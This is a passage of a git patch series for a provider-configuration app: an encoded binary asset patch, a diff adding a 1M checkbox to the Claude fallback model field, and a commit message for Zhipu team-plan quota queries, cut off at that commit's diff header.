z8i7871^9Mg5drKk@QUu4e*AhDJ}aywAS-D?f87}?ePZtGpcOta)Krnt`I|1=RkvmZ zj{cfwZ~cox!fX>#rEYth`46~TGvJSZ4{BF3d(X7!3<@8QP^#w zWlwI z%}Q&#KY($gS$*N-SG=Py&s{X0iZ;{{ju*1rUaIX|oNqO~*WWZkecX97ORC-PrJ<_b zMPz@klgbbny{SJ)?8%}Ot{r|i@ew7+B945RzpD~AShm4<;6uzRkTkJ_bJI~SP!*$X zE4{eeEd@yQ{It^>z&vB}w=*A5pWDsou7*+@lH{}7b!#5HNpg!%T(wKDRgTB1ZN zbxzU!frX)IIph$^o&U0iB`T87VAxgN2)9$P6v-1if*MsVSl*?>_`M_rW~BT4k)R^+ zyS&0>=dPk!+$u+k!7Rub;*8;&re{3$rs3iqOg)eZwa8uOY>t>`+!WiEUM_?j&7uAj zq?(iLbHwX=dRKgRv{K8*2zfJRxBo4pQ;iqo=)WS`ZoU1Uc?Z$=iZiAo9R1#_G0I8Y z(9{vVM%~%rM@vX*JjVOx&^lIS_~`)?hGQmlEz$n44kfmH9uBQU8A-O z_$*#F5M&1VYsw+D+HT0z@5|uxW@=kPoa5RgN(b?RrTuS<3NrWB6~B&b(Ob)Vpq#xxeyiv!?MU##A8`ZAla zom(D+cN)+$T)kQf5m6x<{`h8dTi(7$_V~Ls7S&Y~a5M{g$72%k6~B79uf+vsSby6w zLu{agzG5#+!8xx+Rwxgr&SE(EI)Al?HSURY9UA=Yj6wgRUnhI`2;PRpZ#TIEtGXHR z)?oF%wgQ|qYbrAV5c4kC@ZuPZuHoGfFe~#xpZZ(iWX72<-I@V`TY6-e9tqaBjFLY9 z-Li!7(_=h>o1!h zeKYh5(hBiddqPg|zf|>TfXKb&LO0WAE9d(PMZ!iy|DwvhTLqp+qZzsMwt*X*dT*;! zHTrtK`;;V!gOq(z0_|AYDb;#y^)gPq_3*`6YiWw4#bU{cyYt)i^Stwgq`n#K$R-&6 zqY$+S>H{@(bfTCaTI#A-fZ`jRe|kP~G*H1lkI|{G?|!`5>(p;vSo9qZ%aW_jGc9$r zVsgmIqu-!9NRE43ok$>^ZfTWf&8t!Yvu?5hU(W~6<&w4b{ycS$305Za08R_`;whbe9YJs)k2o5^wi%t&`@2&u|CoRN>WxDARTMZs90fUJ;;*%@E@m9Ss)j- zxlt2lDvy-;vLz=fx{nU+oD4X~b)FHWzKc~q_*j>l1pMNJ|F(35gu57>*&Azg2Ng?B zBfb~d;3#LNirv=Q7h8C7$VIDLr(}xx}hyCkA z8J#GNoFuKccKGvo(-*GnxmKxAVEed_KTAC?Mh(*L?^2)f>$y}*H|&Isz(GSe3Ol=~ z8P|mX|COr6I0k$&Ij*{q=Mo`M6@;QP;;#%Y3-l!rC3gi+9cj`LOg=YZ>9Dy1!dQ($ zWL&e)sCxAavwV2HlOiXTZR0(k*r*(H+rfe{LDiCTj*F?X$Pde?9Yx;7uK})Vz(4Gi z2=FSn`%B-|B{^mGqW-+O*#o(ljO@La%~qO5<+iAxQGF`#zm4tn8^ z`u+~cl8ra4ZTrHYQMTUbctaGV%~6LcU5VE&hgi8QciS5J5FOvBrpo7iJ62@~cYfg! z&-2pQ{tZ$)--#39uwo%_vtmKwFR&HC?gbYaUx&{8I}D;%?r*EV^+XusX{dN~?26w| zC_dO=p7UV`N#TWKBfyk&EXa2DOz5HahmkYR(qa9hZxQ;7Cq@|1-%KY15| z#rpj=sLnoF{tVVRAQQ~{H0UA;<#=Xzr<7Iq(9k3R?Ch9i|5t<}#bFdOWI(KmtQF@f zFr>O}l+}^yyZ4lrXkA}}I3a!cDr(n1!)Dbu5R=4w(h}P4ahLh*EiX{*>(rK~gY?p{lH!Yrdj-{=}P_@WQZ# z5giq`Lx}1l2|tcH%gL{Vd1$2%tbvubmWdnB;3C}$I&@LfW7pyWnOt3mSgl1a_x9;$ z8%Zs4u@pXwmb~c3Uoyu^mo%drd&AS_kk)2`2{JYJ^49b? z(wK`qrOeHv*83)Kwl-_rSgap^t%B1;g=oln--t-vY=YlrRoA5IRWAC~P6qx*KSzDL~lu z@OkW7i3X5{=KSbExRW|}Z%i{`X0?yWF3_IblQA|bNMSagxR-cPsm~hK=*UG6LG5pY z>|y*+M^)*1GTk*j`vblPg1pj$S$50*rm7#J+B4v#PKs?~xD3UnI_W;l&L>JRaE7(cb%?2M{p#3aI$v=@QgKue$3 z)tcQp3Cez&`gTk2<6h;88;TvgJ417cM>=;$OL$@`+@Nr_3Vv-1uYl)wHo4SiXm*xg z@Pw_89R{0N%MGA(WL{q&!j65OyE~v|TL4EY$MuP##ZJ{cB;hCI&02|md!fE~E6AI6 zM2rtkk%WLuazw(IA)_5)Ef!k<+BAchzvE&&HzjcG0 zmK4R;t_LeGeJp25;RD5A&I|S+S=|1KXE#z92C2&f zglV?<7=8Ca%PsIlcFvvowpRFu3wZct{b%5A)7M8$ETj63uK3DQXSrU~)Ff*WZse^a z)Wup)4X?<~lZ(z^bw}a0fP2wo>czSdP9K~wxnxxB2&j+kttSuVZz8aBne88?#_TX* zHPk`84x?Jw=lcQK@tgVXW~$Kmw%8!U&;T%^y^;9=$*@_AA?fDOoZLmRBEoRcTtJ66 zKsheF)g%7i1Z~6aMl--V;dXWXjE*n3$zM$y!?Sr@%70gh>k-$#Zj8FvMC^HH_zcH!ikd3N z02x?@KU0gnvt@zIXH(#N+x|64AgGA+JX2LZO=?UP}Y3{*9_H_)$U zDCsHQlVFHAN*9Fki5adenUPk~fOwU$UW zt>rx=OeXb?=WZS~T%Q~M?0=w>!C8(!d6sl+?0H#^?kL?LDiAi!bw(_0%k}jN-`Yv2 z*=Y75K;9`3V2Q=0?wn8uqowEJ1C|0{#sYX=`^3YJiUxdWd03h9ADO{NYb^CWVZ`sN z@cGHRFJ{FoSkL^b4!q!ly0Y-eq!hZn%DB%5a%3W=JTy$$ju8_|>Y0r9thIpSHrv{c zRGUIw1H3Lu*nz#U(DWe^ItYE#os4*&$Uvwu4V?2cw+H`}ideebONVLR^KBWccn)D^ zhT?|u8{=ojhr~5-;iHqyAsmxP!s0t&yM8O#}iM_vp-W_M=Zm~M(0e@n_fn8 zMEe-U@ou(36XjtPnK|EqEXkU9>u&2%}f3!0j2>OfOSTMmpdS-$clGd)L{z^L~a+-;WX$^T{@9{{`eh3>F0cn#SdLoTC$$z}pky1cgV zbt;H5`g)n{@d8OsLg_gAp_;Svts2L8JefWZ=_b$3T&}6#ZLWW%oH>)6p=yZ>FAgtY z&m`eE2z+ti^QanCjcwchI&vl9wB5IkErWSJPpjFy1g2q}{2~l2?0uTB+SKK_fD0Ch zU)ouj;M5j4xUCQ?PwhUu2AAHbLw!f_)R7;ycFdJDN{HU4$^(i{_ zTrO$p?qBO&J7atcSBDA$e1Cg&sZDV0MTk#jKW{6?$Mo~jt5$0T2`Hf4(M$X_m#`Xb{=q?6N%^`L+VILkpA>2gI$czZH{Y<{##FIG)skPob0U z*HtEXlFGu~i(Qx?NOXldjhj6zqJ58LU)aay(}J?bloErb!U#i+Fd2;3zD0Rg<>#xt zGbuD^QD?9mIle#;R&p!6B$w%vfx`o<@#g+5u&J97_Ma;D>TV6?NaWonSgwQMy^S5L z)A2&!PX`aX5)?_?!cDt!BW<-WtT=aVg-2C6@_4Us`#0(qv-n9CncHTU)N*ezOs@~& z7ko|@DqkNc9WuT@C<$M0=qibl@WVvjGqb=6=Qu;5M>IEmK8l7`7!8#er>;Iu1!D!@ z-SU_`v~}%deNeD5!SbqiO}^~^aY4|1z&XkBHFvQToj7Nnw!Z!zYWvKd)HqsG45{+} z?#36?>@Tsy4C$$3LOfMb#Y5lgM%R6A1(C{;CI5%v==~^O7tlTA_84bVcrIVdiTYT^ z1;z^DMjIfuMFtpIslrR>?^muY<}$E0zvEmm z)&__vQNZ-%){+XeG@9cy6j<}S`w-L}0?!NerF-|GLD$RogmbL>ViABVWdHX96N<+& z1F*JKKFfPI{v}P-K4ek@d&&c_7f4ny*)M*))m7h4MWvQrUWWR}r8;4vwhCVG@y}>8 z=->lzHdisA?3(%V+^GlatIJBQc3NO03tT&f#l!o<&s#Hvh=UE7=dzf4GI>w)pPGHP zMJWDkh^D~~IBmoZqu1`Nq8c~St|*2+3*s=W(yt$rGD5q5pvznom|wGSoT6!Z55ojL z!mQH*CiC4n;CWHQ>t}ce}OFvh#g~{9wRU_Ihu$14)Q6D%=b3 zmQ=&y)|8xDzvW=A*5p{K)fS3bFwWRdbo$e1jZ|7&9KHR!vTt*$ffsN-0EMHs6Ua@x zY$N%j+Od0;e(r-^yydp&>r0!fO752uJ3+0n%^R&#BPa&k z2*~bLw1j%uz*k}}D+(msfal6)My#d2!syW>GtU5jlQD8I(f1cz#s{ zC_%ICx_gQ^QFSz#bD-Iwl*J1^2q&Hg-BPl=B=i1yZ_V#0rkA^LvqFHbiD zDHU}5d?kz)Z=QGcd{U6vimkDF(6xSCg&Pb& zOB<%*j&Rs*1~sC-XU|{hm@Ux*pwAg_GlX_-LfWHS<+rCsIsU*;xE=*7CYTFdBdsdK zPgV#Si)xhEf2W+_PY20xD|I)?!k&M#}OOzUmKilT%Jl zz+x^H{7_Z`uH1x|bQY!L#fZ4vwSw$3{sxhx?<+g3*66>Yj#4yw`d_N;@+g@>%;!?~ z=oDeQS7wkpR-&uZ(Q)!o3M9rNh%XUY*i&+XVqY3Cht~5-5DNG9JBxLtT7{`yzNt=Z z6;bo%`95(LG6il{%`-O+AA|3@Qtd|l!e$`n6hfDiu9Ag-dbl(7^z++JLq0mzwd-;Iqup2lsu8@<v96$?WS@BNpOt|qzIq*EJE4S z&7VNkD`E)U+GNc#TyzGXl-Spwgf@1fscypkaw~_>DrF6yvtmE}HnJqC4yQ$yJo?Wj zg`cQEK+thqU+e_C{kS3MS{)$IC1Hgq>{wPPW%WApzM;^J5UV)1f5azmQ*q;)Zr#a% zp=as~y7AJvr&@X!dNB9n&0(s4Q|=g?)CS_!?~g*{#yu(|JXvylSG}egofzVap?Ln7 zUB9I7U~mGI!_+~d@j)uMW^#Q{5}{IM+>3=WCEss1C)zvy8G3it8qshg;`@MDkh&zi zy!1%QLDC%W#%Rf8VpY**Pl4mQIK+2|XRZ9|x8o0U+=dI5RwUR(N#E%PWhMWcviqnp zHs+0-5|-__Ht~t0|Mvo5_*!8g2acGa>|al`)Fyytopp!Jq?z8d)bqP|6HIm>>0Co4 z9}|DCIdO+7e)I!`pV|M)6pPcZpDBcMg$OG01;s-}G0K8wYrfGAG$Hv?7*Vj2oJXXd zTXQl<9ORL>E@u53v?MCY%@d_-l-NQ*uq+5}xtpRM~g4vTcGb4aRc+YI}{s@De3 zHEJYzjeymnTv&9HG2RhH-u>b2+47w)*ScD)8Ay6w>5$jNW!W=G-e7iEOq>aQ@6J4b zrW38$dw@u;145UZ-9W1qW;*Gg#&Ern@#tT0g8Tz%g*VA(1RvmcLjH|5bcb-M=$*X| z(ZgGoQ+(#`&AUyFs(BjFUDb6H!U>~PY*N2I&n!;r%Lh+6@)=}3E2Gh;zyM^ul-LiB z`Y7x`xer1O`)dY)5j`)27|(Y|mj0o#vfIkRasyr)vLoHovRr_?{B>&^<=Y*SjlJo( zSx_@MFri~~$Xn1Vr`B;)2R%u!*Abj4)KEgfxS_pDK56(K6${tijQ?Yh(_7)ovh*Uu zIwPd18^K1IV^7WV=Lz!0sxS~&HykDppjgg}}&< zr7iXv=FD}94b10J;`L(6AWfoT>p(u+!oQ}SxQ@eiQ3B?aEzl}|Pn@8-{uzY#so2YR zI3M)nf7J_PsBW}YZn51vBBaHBw?YqNLB5G`S4uQFVqeOKek8L%&mCd*v~FBMF3=pI zpRAfiwzbJQnfah7aF8ea*KMrYn-)m^*}B{$Ymyl7Xj{4I;cg(60D~G1>^XF2Xz(fD zHB$>k5(^wB(YvZY-cHUCMRPh3J^V&9u<{y-+dzoTbvDSNB+V-k)-6Y={oCX!xV-i? znIrwn6h!~)QBs9}-uEH&dDWn#ili2+$oW5}bui$sDZ`tj%aB-|%j)4X)ejCdg)y&KKN9paYoCR)~54f?X+A1h;N0Qa@h} z?YCi^>tP=7xS{L^)dC}pye_Y|U4__kCwY4m&W=iUrM+g_lyRo$V@YuwuyE{qOq$tY zyg0M70IpT^$1%;&!6!d*lz>{XTdhB(iU@dBCYSMui8^KVWf))$NsI50OByhG$~yz( ze2APd$Arz6SvG`-La=_YauEGAv;Ljz-O7gpk*>NI{Ce$g61N7qy9S`}F}39!z&ZPG zxj+b=i0d!91U4(!0`(6Xu+RG|U_D>eDSH`gP?vkfPhdFJwkxoJHzQ~MI3-A$iqE6e zksSd@S5rJEdvC^jGMej|LJ&NOYn@Ld&qJ!7z^%yBwbBQty1sLX678hji{#}V8eEzN zStuJbHkMu^)YOhmk`1~)#Z(xHQH-8`^S6P)u8HHRm;u!WpB=57>IQV3zi+)-zn?|h zj9=va?a6*j(PV+|KXU%(9%X%Hn*D9*Rh{xB3Sucwb3(E5O;8mCyDu4$L84UDp8oMG)5FK0?Dt?L;wFn(b0~W0Fv)LiZq>&doftuYQ)VE*KU(xP5#`1qW?dgByM@U|-@E>#7nz#qg zFU6(rND7CwJ@We1O)EZN69+99otG8d&yeNp+g+$W__8dTHW-~P-kT&f13KCc&O5;@ z56c9Aw+#*?wEL~+mLPe_L=*ar!T$OaZsR`2b(^*e7UG>Z>|w*F+HyA7fGBrjz_BXj zy4W|-qGYAac~K(d*C&v=eEo~$I$K8ipz-yK)L-~ct&>-8AL3BQBq!qZ%fNK{pov~K zj)yuS2{_W9sk~09#VlVELm1*WnczoZjP+|5k{MHRJ<$#dmezYIMT)oK6*FPGLYE$cyYo8(B$bTZ@Z-~1=;|IPv*5`cwB%i|1t zwz#pucSd4a-)@7}FR}R61zvXgTrB?&7SU;4VhCfBmb26SUfm)=w5|g!}HT^8<bIwpCAWU@)2#wXh>@*g#7g4>CHlqMW1P{nGMZmFl|9uYO=zCW$JAM##YpaQs$DfTN4nm{Z~u#7MA{YrDhNZHM#aWpkD zam!9l-i?9y0{Mp@QEMB*7ETN3{qhkt8)Z#UQK~yRLb-$W6U7Y#>Rh5V6Kl;7O1%F_ zWos(a%XTBa;4UU6s_x#hACGb`j?oUBz&TXC{|U_M%}DuC_Iqx$Z3s#(mM7ODPZ%{y0=Yi&xSUY&&i-Vb}+@6NeA_IZ~$ z+cI_+72|%e73C}NrjE_?Y&A+Coy-QtR;m0FdJNG;vBkd{Go966U{V)7VelX~25SiU6u*PLAZySZhG!)LGxQ|>E zI+gdrs`DWLM(t0Skwa8L|De~W%^Z1LHu{0XLIh=b`Y7;IXkPUZYugy|Hpa5{i;9#y z&9AHBz)`2r&nfVa?`TXG#E&&`{Lj6@1al}rUINx`jE8?Bh0A|xvG-dn>nVPec2qoO zAw!=0tQWdzoNFP@_G(O|fqZm^aA42GDR}6($iLF~dA_NC7k9;bX`gZie~N^1Ro|6e zCy&>jdh0p!2MR2z(X%%^M8gWaW=xUve(~yF7BKtc2W}Gk4AKWskqo=WbCqiw^pw zsBgtK-AOV)8h?w{P69j$c)|aA10w#%EN)QY#%r<&W5m#a>(IR0Tpc&kp1a^EOWSN==nIz7$j5iPYfuD*0DG_!mGUy`vQDa8VGaO94HA{$JBK z6uGY%C>PtgW!dtcQ~vzCQax~br6sT!bsJyw{vM+{UCWJh3>^nra6mXfv-{p2Y{eO) z%?vq2M#m&!TUseSc6R;a0*haQ2k9yG#yJ1MD8%;GU?;Iz2*y*ESO)!oXswN~s46r# ziJk*4(d1=WEZVAmq=c-@z{nvpqb#m;r=k*hbJ4Wl8b;*F1>Dc z#~TZR^8+gVZQ}Ok5nf~DcvJ227?5(A9 zeLc9I4NfrHC%;0kxN1f%gNHBt=Bj8D*F=5+u^n$7W`#6QS z+LkqUVs0u>w66e3&;tA~jx(n){0KrRvYwlt~ z?#stgqRkv*?XXfa2dq}1wD|(>%N1nhpKoG>-bqZXU@HbKdqX zOnSKx!P9u1Ax_VwK~NOyk0FD)Puo}T`GU_iQayvKw!mN|uc|{XG#%G5;|e+O*({Y` zLDahohj-2l7;IEP#e@G>@pi;-nQ(Jy&W!*o068<=^Zj@} zz{OE=PZNYIFJhb{`b#}0N??J~&wc*5!ICS8R1zRyobw6@v6T^c=r3O&Fs_FNBTzb3 zbhk5xf^?DKA{1>uuM^hu4SgTJ^4Ks@`-29^S__4>?3gAzY-9Q08<3-0);BLFhjGJ1 zzoh_CXmaGK0(X@W_^kX(+Z%rr_>cM(0Vp&^xZS`|>IZjsn`QceH-Y(E6}cLpv12K* zLk~j2+tH+(kSciYS1TFLeehf94b>N3i2c|0rv9(J?|y44>)MW@pre41kzSlIiX$K( zDv(ed4LCCj3F|dn^D8)}|$In$e7P*s@%0~cX-@rE!m!0y7g1~ zxZ0AR!;ie=SvpG1{*qRIBd}^}<>Xyv_lhgNxk2bGjPL z2LgP2G=i0Q{qap+)=&5%E{75=g)0>s1;U}y1FpZfpzdasp9^9J&pwLzRiiMp$tJDo zG+D)`r#!U(*KM5(8bgLPbsn93#Y&_1J^7lIj{FAW)Ue|&;ApBQG#hR@p;+Tiwz)q+{z23~%6Gs%t`tvV#YR3PRZtz<@ zO~;?~xFaKp{x<)91nyva`rBUxiA^>4F9;rny8RLa9D6Tyz>3qt`}jeiM~jdZ&AsZV{y3gmC`lY6%88PFi`W%BJc6qR8ht$< z^7JFG4~p5nuuH$}d4x2Px3r?z_G7>oN1`NIWul#J`t$sK$H%2kT|#{t7viLJWGgD{ zwS)+F3e7P;ZQM`^iT@jT<;JmF8dQHM$r;!N@0kSNVCF#hyVkc3SzD3>|AK(jPDQ!4 z&+_S$Tzb|R--35)>KVmsjT6QqaNM)wGjifhJ-NBe*E+Alh`T!46LT(76d42KNbx@^ z`uTaqhjeFpnQiCm7ea14%%n_M+Vm8xQ^~aZLcq6r1iOv`E$-wUFE3`+kwQ+Cp7!Xs@p-6u|7ip@*7*I2$k zGmd@?`zVB9<_^@9&8jE8mAH)}vTb$wfQ(sh<2x%9JS6Y7es+lr3OH8J2XZ=-(De}h zYybx89R0X`K|b)UCc*EYw(0-`_%rbA>%spybpM9K4XKUgC|^v&KSE)VH$OM(UP4QC zQ}uf@c)%9nt!h@Bla>rz1RU=aCTH)C(!o{V?CluHR19^nwRZ^s zNr0{#t^fIGkeHqN1)D4X(^YbHt7la`6`+wHg1yb>+B*a;K!GnA z{2w=fPRVP(Q_2z2*}Omc$R@?YL-K~+F+9R#%9u(u-Zl5QaD&w#S67~O!nYE@4$RB6 z)@BjaM5IE1!28d?9F{i=0*3t-8%BqwiWUR6+7weX=Z%ZrGB=nqt1co%cE9E{$wJF# zMUzfXXF+y>zVtuxH*EKBRlYOu@aneUP1QU3+vDXUP7LMIl?f($(a59bbdrR<{|7)8 z?D-Tp+2%izz$l-*_uspF4lSilq>|*8f}g*;%05@&;Tz9Gm_v;+wKPq>J`3VLTj2j5 z@Zh!Xl^*UR6&MXfxw!Hm|Is@CBb zwRG_+@63)Zf`Oe~C*@^xkLC}C!vEJ~MyTy`!r@eEfMvGO(uG5>dkjLo@`1xBx=BP& zkz*657wvTmw2eI^^_wNmRNrH<={Gn@16u zZycUGe6qU~)*LgS^2O*dPw=VW%u7Z>uV_-wY%)$Ak#%*a{hUwJGs-xAaqJ|IYIl5| z@4Da{r&>x@4TgF*ouWapZg^MMy^}Vlz1G7FV0LpdkF`B2g?9Vwj*n8?loUb0567nv zbSSQqQ--h}3ibA5Aw`m#5_s}yt?t%ZEJk6mYMiNFZ7I6J?JuzPV*7SaQz48iW^>Pu z0SaXhkk4qfzWV$iVAVQtkkVSD^;!3hQ4zOMHX91A%eWbVqG{M-L_&xp<6zk zZLvUbZ#p`sq`?@#6xXwXKkwSk+Q{s$pI$>7-1%n9ybsbHsLKs=HgGpYWUt9B{pLDA;+X z4gB>9we+Na8LT(JEG>Wnvk2j;19_D>fXsLehN?Km=IHgy>RFHD9@5Y8jcWV#BCU+r z4gm`#Tf9_qe#43yB;z7u>bu@r^+P9dckUP>n6HOW#i7`i3g`QwCjO5S8f*6ZtCZb_cHRY~Dj{N`S%E3uJywKKck(bSXFm#A{|hvXWdzDasRkfyr$7f`n_wTGt9u8q=wJP$Mh!$2ydU218AR!u)4Aq9Z_{* zVv!#w7OqiFSo;!gm>lpM&S?$NkuDa!rAD$4H`GmgvU!55whd7!02<>XuDwkXUANZ} z1K+B2zW;lG9G}l>F$ql%2NYXX>>_ovX4!S(;H?VhN59DL*11Oo%fxUe;wX2Fjd5+IQ=ry@iE;`H?IX7myP5fm2 z_`Br}0I%8xJ|Gso=bsK#Lm}spc-(tu`ubK>z~&Hp%ad^mLT^`OOEiu(V-p@zyG)wG z{X`^JvI|wY>Vsq`z^NB;CB`GA6ja88fUWGnq;qNMQtO2Hy|40)1ukl}_f9@o+5&6z zZs$2@3|4<$5#h?2zI2iT)f-mMy&d$@?F$F^JXy5S@29Wj=nLH{yxH74pTyLzMXqg% zG6g#VieObU(LVRdmHVLw3M{n(_AdiVYt~aW(R(%a(vpc$kEx&D_?+pR8~9?aBd|L_RJ;abM(4;bIk&B# ztZA%zA)4>Dylfx~vD=@g^O&mA%5kjpKbw&@M97Rr63nB>EP-7;#wo5^8w!v+>VH79 z0=Dc1S zp#J*g3R?{+b{18fsEqdkYU?Z4y}mg!1nYdvOEtqXG3T%RR=J z^5rwdet0KWT2+{3ojr}B91}Jn`L!@wJT@f~*Pw0IToXn4futG{#IF5EV9v1JQbf$Q zx>np6=Jscl|8jZ}=MTnfBW17YzP*tz94Gjla%XclF_Cq0P0QSO0>2ms3_j*P?#HUk z8DBP9e$_|GxqAEBmIY7ix7`CUnwq(Lm3EB`sAu?{Dm&zmPZ(%TV=liVO zuLfoXyE(-!;AC56N0PC~%Zt13qr}E@)oF2C?IeYPCjiK3*m9&Oe#)hJh9JZO&b;C( z5BfR@xQq3roUoS>Pu(_w%MAP&1_J$f{&)DVCOaMsVPPuXUhX_|FCX*Z9UcbEaEVH0 zGkp_(W;x3$oArG7Y5kKzBo~69CN6MT-*La}I^_soH zdq$S_x=-=;YfpD^RuQ8P^ zQhGhmyhD`%5J==BYUy+5MNj&yCi|c7bsHp{j=atj@psH6%NL!la{ra!Bl0|KcBZ9 z;F5r!#PvcU?JGXah=RVK3VR4Jnaep<+7N-q)Y5^Av<@QAIua;_PSpK2ryO>aLw(98>w1F#0k5oWcFMSwdaQur~o@+NO=`YS9SkOv;d-bJA)I%6q)KXL7@ zUl|wf1Z{_82WaB8wi;sOCY7y(&NSp4E4wV0??sYXQIz(n_+ToS#}ZNDw2dZW)xRE; zvW-9>oc*IB3Q!mi`h0<}o}N=j)s`pN-cBE7ro(EeBV`sC6fB-)a>}s2CX6`U%B;M| zg;e|=-*-m085W~~W}v%Fhd>XD(srK~k%!5Uu^|iAM(^>UC>#U*Z01I5V!-N#0B+FHq7>%`=gjjSARgz0m0jqXtB`?a;Qw?HiJ z-8V@YCfG(>4yLAHOq_>DzuO)SP;0COI@eVz4>73QPArQ@Ontzr=b(jj%uQF3Y6`I* zztxcQuxo`dVWYc^GV66EOvXwV@WG-3&1!(=fpdm?13g(gi(@3+CR8S*eI+eVJpAaA z%|dE%4pyyl(G2dT*AprWZ_S_Ch zs&8xo>{HyQzx_`hxw4NxJeTCTbvyHcF+7qUGN?V0ny@!Dk}UA8>ws=%=6Y-T#vtLr z<#={cLUMxtZvwW)0BTmUU*Zu%VsCCJM*z^#28a4arvXY4>zEA4JBV1sMxzX~6KB@3A zGS*_0ierBGPH+cN;*i|o&K_48YxLmc9VS+?Ps3bglw)3HtD&;}l)R6F#OwpFKmrNqwi~%&hF)dve>f))N)Ga& zG6zVd4m7$gDoRuU=7P(BKOzmz2RwNVgRHEj z?qpwTpOdUS2%6?#wc$e!bb98rwCa3gGK3adh&07jla_qC#`};f*m!e8H7i*KaE6NwqoXmb9FH zXIRzr`4I%T1;}(~t&3XMh%BHpIiS9%A$Ka|)1khL(cqFxvR0?S#6GPyOTF5uoP0S9 z&;_UEpxt$JBF495X(%Lqo>;4u5r}u6>1nF|Wd_;L#S%0D)Zrkzx#DzXR(yIj^|V zc|ZSba970z$GD}DO|W~qjWbq?!tQ~=)IR-J?IwM5w|3ShhX7_2S*WqY8^}wPOw)D6 zborH+&H{Z?8e8{94;E2lTjoGMqTTa*NR`jud(*0UHDhs+I&vcuh5u zGxgd~b!W)Z_`xcJ1eB6fQH0KHn(F4?v7Rg9Tz^DmxW<^B>8)NrzSH6*pN=r6goZU( zs42cF1R^r97(YJiSUL)|_v+!KvSr|Ps}DFV-uK~}I5g$(fHYV{ca^NYLKyA>MgfAgzk{S%dJWzfSm?J7*R@18_%<~9 zI>qDC&s3F+SK%)M(aE>dMR^s6u? zVuy^Brw#Ne`ekGkMPbYQW{L;}2fVLeR^flqa(^ zRZsoc!9dO=% zI{q=bZ(H_dsy7^!AQ+AfK{U%kXk+L85QR6s0UuL!5=ie)+8J%o#gQ6_>_Ia;x9$<(~e2*hzY}|kEF1X}8ux@8> zAHj&+WiC!O`mu($4Gw}VC<{mxplvfRof$mF0$zI!BH%=2W%hP}H)m2MYh@|sYlel6 zTwg#IT=juDNktfwa?5Gl~M7y{qb$y@0*i@=noFL zs;+p^ATnY{csa`+LU$C~Y|0zHm-=m3%0q4DWvvg`T8Qgw5P)G&Gy>H-;b@kP=y8W+ z)Lh>iQjB&r21s^SO;^rYTp&bk&6k+`;I6+`wtLm};(gZEJ97oW*SvejXjt_%xg8X^ zL=jSXtGUp8b0LhN2yuRe9lA(IM!O=_YVb|U&aVRfRVkFzaH_yQ#EZau1c6N%bQEV0 zV^iE+BhRZMlR6+w6>W5KdKGrxxxKJZV&5n3<^TTvMc`iq{zc$l1pYT+e=yzQMc+m};Xa57A@yWLU literal 0 HcmV?d00001 From 3538b392462ed22890a44dc8c55df0f1066ee119 Mon Sep 17 00:00:00 2001 From: Salar <126340046+salarkhannn@users.noreply.github.com> Date: Thu, 9 Jul 2026 05:36:54 +0500 Subject: [PATCH 38/73] feat(claude): add 1M checkbox to fallback model field (#5124) The fallback model (ANTHROPIC_MODEL) field was missing the 1M checkbox that the role-specific model rows already have. Added the checkbox with the same strip/set marker logic used by role rows. Fixes #3679 --- .../providers/forms/ClaudeFormFields.tsx | 36 +++++++++++++++---- 1 file changed, 30 insertions(+), 6 deletions(-) diff --git a/src/components/providers/forms/ClaudeFormFields.tsx b/src/components/providers/forms/ClaudeFormFields.tsx index 7c341d3cc..57ee93883 100644 --- a/src/components/providers/forms/ClaudeFormFields.tsx +++ b/src/components/providers/forms/ClaudeFormFields.tsx @@ -247,6 +247,7 @@ export function ClaudeFormFields({ const [codexOauthModels, setCodexOauthModels] = useState([]); const [codexOauthModelsLoading, setCodexOauthModelsLoading] = useState(false); const codexOauthModelsRequestRef = useRef(0); + const fallbackUsesOneM = hasClaudeOneMMarker(claudeModel); // 通用模型获取(非 Copilot 供应商) const [fetchedModels, setFetchedModels] = useState([]); @@ -985,12 +986,35 @@ export function ClaudeFormFields({ defaultValue: "默认兜底模型", })} - {renderModelInput( - "claudeModel", - claudeModel, - "ANTHROPIC_MODEL", - t("providerForm.modelPlaceholder", { defaultValue: "" }), - )} +

+ {renderModelInput( + "claudeModel", + stripClaudeOneMMarker(claudeModel), + "ANTHROPIC_MODEL", + t("providerForm.modelPlaceholder", { defaultValue: "" }), + (value) => + onModelChange( + "ANTHROPIC_MODEL", + setClaudeOneMMarker(value, fallbackUsesOneM), + ), + )} + +

{t("providerForm.fallbackModelHint", { defaultValue: From 95c917b3371ead0724cd89bee6031f201c93b0c7 Mon Sep 17 00:00:00 2001 From: "zhanxin.xu" <90450068+zhanxin-xu@users.noreply.github.com> Date: Thu, 9 Jul 2026 09:21:10 +0800 Subject: [PATCH 39/73] feat(provider): add Zhipu team plan quota query support (#5128) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 智谱团队套餐(Team Plan)的额度查询与个人版不同:同一 quota 端点加 `?type=2`,需额外 `bigmodel-organization` / `bigmodel-project` 请求头 (api_key + 组织 ID + 项目 ID 三者缺一不可),且仅存在于国内站 open.bigmodel.cn。参考 token-monitor/src/shared/zaiTeamLimits.js 实现。 - Backend (services/coding_plan.rs): 新增 query_zhipu_team(固定 CN 站、 ?type=2、org/project 头);抽出 zhipu_quota_from_body 与个人版共用解析; 入口 get_coding_plan_quota 靠显式 coding_plan_provider == "zhipu_team" 路由(base_url 与个人版智谱相同,detect_provider 无法区分)。新字段经 UsageScript、IPC 命令、后台查询路径(query_provider_usage_inner)透传。 - Frontend: UsageScriptModal 新增「Zhipu GLM Team」选项 + 组织/项目 ID 输入;模板切换时保留 team 字段;测试与保存逻辑按 team 传参。 - i18n: en/zh/zh-TW/ja 四个 locale 更新。 - Tests: 凭据校验/路由(缺任一凭据 → NotFound,标识大小写不敏感)+ 本地 server 验证 ?type=2 与 org/project 请求头形状。 Co-authored-by: XuZhanXin <1239576606@qq.com> Co-authored-by: Claude Opus 4.8 --- src-tauri/src/commands/coding_plan.rs | 7 + src-tauri/src/commands/provider.rs | 10 + src-tauri/src/deeplink/provider.rs | 2 + src-tauri/src/provider.rs | 8 + src-tauri/src/services/coding_plan.rs | 286 +++++++++++++++++++++++-- src-tauri/src/services/provider/mod.rs | 2 + src/components/UsageScriptModal.tsx | 83 ++++++- src/config/codingPlanProviders.ts | 12 +- src/i18n/locales/en.json | 6 + src/i18n/locales/ja.json | 6 + src/i18n/locales/zh-TW.json | 6 + src/i18n/locales/zh.json | 6 + src/lib/api/subscription.ts | 7 + src/types.ts | 2 + 14 files changed, 426 insertions(+), 17 deletions(-) diff --git a/src-tauri/src/commands/coding_plan.rs b/src-tauri/src/commands/coding_plan.rs index 49b9b20be..9125bb00e 